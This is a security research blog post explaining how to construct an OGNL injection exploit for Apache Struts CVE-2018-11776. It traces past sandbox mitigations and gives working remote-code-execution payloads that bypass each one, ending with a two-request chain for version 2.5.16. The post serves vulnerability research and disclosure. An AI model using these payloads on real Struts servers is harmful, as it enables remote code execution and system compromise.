In this post I’ll give details of how to construct the exploit for CVE-2018-11776. I’ll first go through the various mitigation measures that the Struts security team had put in place to limit the power of OGNL and also the techniques to bypass them. I’ll focus on general improvements in the SecurityMemberAccess
class, which is like a security manager that decides what OGNL is allowed to do, as well as the limitations in the OGNL execution environment. I will omit the more specific measures that were introduced to protect specific components, such as improvements in the whitelist in the ParametersInterceptor
.
A brief history of OGNL exploits in Struts
Before describing how to attack CVE-2018-11776, I want to give some background and to introduce some concepts that are needed to understand OGNL exploits. I’ll be using the double evaluation bug in TextArea
to illustrate the exploits, as it makes the TextArea
into a rather handy OGNL display (maybe it’s a feature). First let’s go through some basic concepts in OGNL.
OGNL execution context
OGNL in Struts runs in an environment in which various global objects are accessible by using the #
sign. This document shows some of the objects that are accessible. As well as the objects listed there, there are also two very important objects for exploit construction. The first is _memberAccess
, which is a SecurityMemberAccess
object used for controlling what OGNL can do, and the other is context
, which is the context map that allows access to many more objects, many of which are useful for exploit construction. Having access to _memberAccess
very much defeats the whole purpose of SecurityMemberAccess
as its settings can then be easily modified. For example, many early exploits began with
#_memberAccess['allowStaticMethodAccess']=true
which changes the settings in _memberAccess
. The following
@java.lang.Runtime@getRuntime().exec('xcalc')
will then pop a calculator.
SecurityMemberAccess
As explained in the previous section, Struts uses _memberAccess
to control what is allowed in OGNL. Initially, this used a few Boolean variables (allowPrivateAccess
, allowProtectedAccess
, allowPackageProtectedAccess
and allowStaticMethodAccess
) to provide coarse control of how OGNL can access methods and members of Java classes. By default, all of these are set to false. In later versions, there are also three blacklists (excludedClasses
, excludedPackageNames
and excludedPackageNamePatterns
) that are used to deny access for specific classes and packages.
No static method, but allow arbitrary constructor (before 2.3.20)
Be default, _memberAccess
is configured to prevent access of static, private and protected methods. However, before 2.3.14.1, this could be easily bypassed by fetching #_memberAccess
and changing these settings. Many exploits involved doing this, For example:
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))
In 2.3.14.1 and later, allowStaticMethodAccess
became final
and could no longer be changed. However, as _memberAccess
also allows construction of arbitrary classes and access to their public methods, it is actually not necessary to change any settings in _memberAccess
at all to execute arbitrary code:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
this will carry on working until 2.3.20.
No static method, no constructors, but allow arbitrary class access (2.3.20-2.3.29)
In 2.3.20, the blacklists excludedClasses
, excludedPackageNames
and excludedPackageNamePatterns
are introduced to blacklist some classes. Another important change is also introduced which denies any constructor call. This kills the ProcessBuilder
payload. From this point on, static methods and constructors are not permitted, which places a rather strong restriction on what OGNL can do. However, _memberAccess
is still accessible and what’s more, there is a static object DefaultMemberAccess
that is also accessible. This DefaultMemberAccess
object is a weaker version of the default SecurityMemberAccess
that allows both static method and constructors. So the idea is simple, just replace _memberAccess
by DefaultMemberAccess
!
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))
this works before 2.3.29 and this trick still forms an important part of more recent exploits.
Restrictions on class access and _memberAccess no longer available (2.3.30/2.5.2+)
Finally, _memberAccess
is gone, so none of these simple tricks work any more. On top of that, the classes ognl.MemberAccess
and ognl.DefaultMemberAccess
are included in the blacklist. To see how to bypass this, let’s take a look at a simplified version of the payload for S2-045:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
First thing to notice about this exploit is that it does not even try to reach _memberAccess
. Instead, it tries to get an instance of OgnlUtil
and clear out its excluded classes blacklist. So how does it work? The exploit first gets a Container
from the context map, which contains the following keys:
The key com.opensymphony.xwork2.ActionContext.container
gives me an instance of a Container
in the OGNL execution environment.
The getInstance
method then tries to create an instance of the class OgnlUtil
, but because it is a singleton, it returns the existing global instance.
To see how the excludedClasses
in the global OgnlUtil
object is related to that of the _memberAccess
object, let’s take a look at how _memberAccess
is initialized.
When a request comes in, a new ActionContext
is created by calling the createActionContext
method.
This eventually calls the setOgnlUtil
method of OgnlValueStack
to initialize the securityMemberAccess
of the OgnlValueStack
with the global instance of OgnlUtil
.
As we can see from the example below, securityMemberAccess
here (last line) is the same as _memberAccess
(first line).
This means the global instance of OgnlUtil
shares the same excludedClasses
, excludedPackageNames
and excludedPackageNamePatterns
Set
as _memberAccess
and therefore clearing these will also clear the corresponding Set
in _memberAccess
.
After that, OGNL can freely access the DEFAULT_MEMBER_ACCESS
object and the setMemberAccess
method in OgnlContext
to replace _memberAccess
with the weaker DEFAULT_MEMBER_ACCESS
, and then execute arbitrary code.
Bypassing 2.5.16
I will now explain how to bypass the mitigation in 2.5.16 and attack CVE-2018-11776. Let’s first take a look at the publicly available exploit for this since day 2 of the disclosure. There are different versions, but they all roughly go like:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
From the previous section, readers should be able to find at least two reasons why this won’t work for 2.5.16 and identify the exact version in which it stopped working (hint: none of the 2.5.x). This is actually good news as it gave people plenty of time to upgrade and hopefully also prevented large-scale exploits from happening.
Let’s now construct an exploit that actually works.
Having seen the incremental OGNL mitigation improvements, the natural starting point of an exploit would be the most recent one that worked, which is this one:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
This, however would not work in 2.5.16 due to other improvements that were introduced. First, access to context
is removed in 2.5.13 and also the excludedClasses
etc. blacklists became immutable after 2.5.10.
As explained, the context
global variable is no longer available after version 2.5.13, so the first step is to see if there is a way back to context
. Let’s take a look at what’s available here. I’ll work my way through the alphabet from A. Let’s take a look at attr
.
The value of struts.valueStack
stands out, with OgnlValueStack
as its type. If I want to get back to the context map used by OGNL, then something of type OgnlValueStack
seem like a very good candidate. Indeed, there is a method called getContext
which turns out to do exactly what it says on the tin and gives us the context
map. So we can now modify the previous exploit into this:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
This, however, still won’t work because excludedClasses
and excludedPackageNames
are now both immutable:
Unfortunately, these blacklists aren’t really immutable as such, because you can modify them with the setters.
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
This, however, still doesn’t work. The excludedClasses
set is cleared in ognlUtil
:
but not in _memberAccess
This is because when setting excludedClasses
in ognlUtil
, it assigns excludedClasses
to a new empty set rather than modifying the set referenced by both _memberAccess
and ognlUtil
, so this change only affects ognlUtil
, but not _memberAccess
. This, however, is not far off, because all I have to do now is to resend this payload:
How does that work?! Remember that _memberAccess
is a transient object that is created during the creating of a new ActionContext
when a request comes in. Every time a new ActionContext
is created by the createActionContext
method, the setOgnlUtil
method is called to create _memberAccess
using the excludedClasses
, excludedPackageNames
etc. blacklists from the global ognlUtil
. So by resending the request, the newly created _memberAccess
will have its blacklisted classes and packages emptied, allowing us to execute arbitrary code. Tidying up the payload, I ended with these two payloads. The first one empties the excludedClasses
and excludedPackageNames
blacklists
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
and the second one disarms _memberAccess
and executes arbitrary code.
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
Sending these two, one after another, allows me to execute arbitrary code with CVE-2018-11776.
Thanks to Kevin Backhouse, a fully working PoC for CVE-2018-11776 up to 2.5.16 is available here with a docker image built from scratch so that it is clear which version of Struts it is using.
Note: Post originally published on LGTM.com on November 21, 2018